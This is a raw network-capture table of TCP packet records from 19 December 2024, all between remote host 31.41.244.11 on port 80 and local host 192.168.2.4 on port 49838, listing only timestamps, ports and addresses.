Dec 19, 2024 06:09:41.969214916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.969254017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.970581055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.970622063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.970679045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.970721006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.972270012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.972309113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.972373962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.972414017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.974137068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.974194050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.974205971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.974246979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.975630999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.975670099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.975727081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.975769997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.977298975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.977338076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.977402925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.977442026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.979058981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.979099989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.979132891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.979171991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.980628014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.980668068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.980712891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.980752945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.982309103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.982359886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.982393980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.982431889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.984010935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.984057903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.984112024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.984155893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.985641003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.985686064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.985739946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.985781908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.987358093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.987399101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.987426996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.987468004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.989031076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.989072084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.989103079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.989142895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.990693092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.990735054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.990776062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.990814924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.992379904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.992420912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.992429972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.992477894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.994040966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.994081974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.994138956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.994177103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.995764971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.995819092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.995897055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.995937109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.997385025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.997425079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.997488976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.997528076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.999072075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.999110937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:41.999207020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:41.999245882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.000741005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.000781059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.000816107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.000857115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.002456903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.002504110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.002557993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.002598047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.004125118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.004168987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.004237890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.004280090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.107254982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.107367039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.107403040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.107573032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.107976913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.108036041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.108139038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.108195066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.108273029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.108318090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.109503984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.109556913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.109613895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.109656096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.110877037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.110929012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.110991001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.111040115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.112196922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.112270117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.112344980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.112416029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.113567114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.113626957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.113656998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.113702059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.114840031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.114888906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.114970922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.115016937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.116266966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.116278887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.116312981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.116326094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.117424011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.117491961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.117553949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.117595911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.118735075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.118781090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.118809938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.118850946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.119982004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.120031118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.120127916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.120171070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.121278048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.121340990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.121368885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.121412992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.122483969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.122545958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.122600079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.122642994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.123758078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.123825073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.123830080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.123874903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.124984026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.125040054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.125071049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.125119925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.126202106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.126262903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.126281023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.126322985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.127377987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.127433062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.127459049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.127499104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.128585100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.128638029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.128694057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.128735065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.129760027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.129807949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.129862070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.129904032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.130985975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.131028891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.131083965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.131124020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.132227898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.132270098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.132302046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.132340908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.133384943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.133430958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.133502007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.133538008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.134618044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.134660959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.134666920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.134699106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.135813951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.135864019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.135894060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.135941029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.137003899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.137053967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.137104988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.137142897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.138187885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.138257027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.138286114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.138324022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.139395952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.139448881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.139522076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.139559984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.140635014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.140685081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.140714884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.140752077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.141868114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.141916037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.141918898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.141954899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.143040895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.143095016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.143126011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.143168926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.144288063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.144335032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.144335032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.144376040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.145437002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.145487070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.145514011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.145555973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.146662951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.146718979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.146821976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.146872044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.147839069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.147893906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.147924900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.147968054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.149081945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.149108887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.149133921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.149158955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.150314093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.150326014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.150377035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.151473045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.151535988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.151549101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.151592970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.152661085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.152713060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.152770042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.152817965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.153848886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.153898001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.153964996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.154004097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.155011892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.155066967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.155241966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.155284882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.156276941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.156294107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.156325102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.156347990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.157450914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.157499075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.157636881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.157679081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.158705950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.158750057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.158751011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.158793926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.159910917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.159924030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.159956932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.159965992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.161031961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.161072016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.161128998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.161170006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.162266970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.162311077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.162329912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.162379980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.163466930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.163512945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.163542032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.163584948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.164652109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.164696932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.164756060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.164798021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.165839911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.165884018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.165963888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.166007996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.167064905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.167114973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.167262077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.167304993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.168260098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.168348074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.168718100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.168790102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.169569016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.169579983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.169615030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.170671940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.170721054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.170799017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.170840979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.299154043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.299264908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.299263954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.299309015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.299647093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.299695015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.299818039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.299853086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.299863100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.299894094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.300888062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.300935030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.301009893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.301048040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.301950932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.301995039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.302088022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.302129984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.303025961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.303069115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.303168058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.303210974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.304130077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.304183006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.304234982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.304274082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.305247068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.305289984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.305318117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.305361032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.306310892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.306355953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.306426048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.306468010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.307394981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.307441950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.307507992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.307549000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.308568001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.308614016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.308706999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.308752060 CET	49838	80	192.168.2.4	31.41.244.11
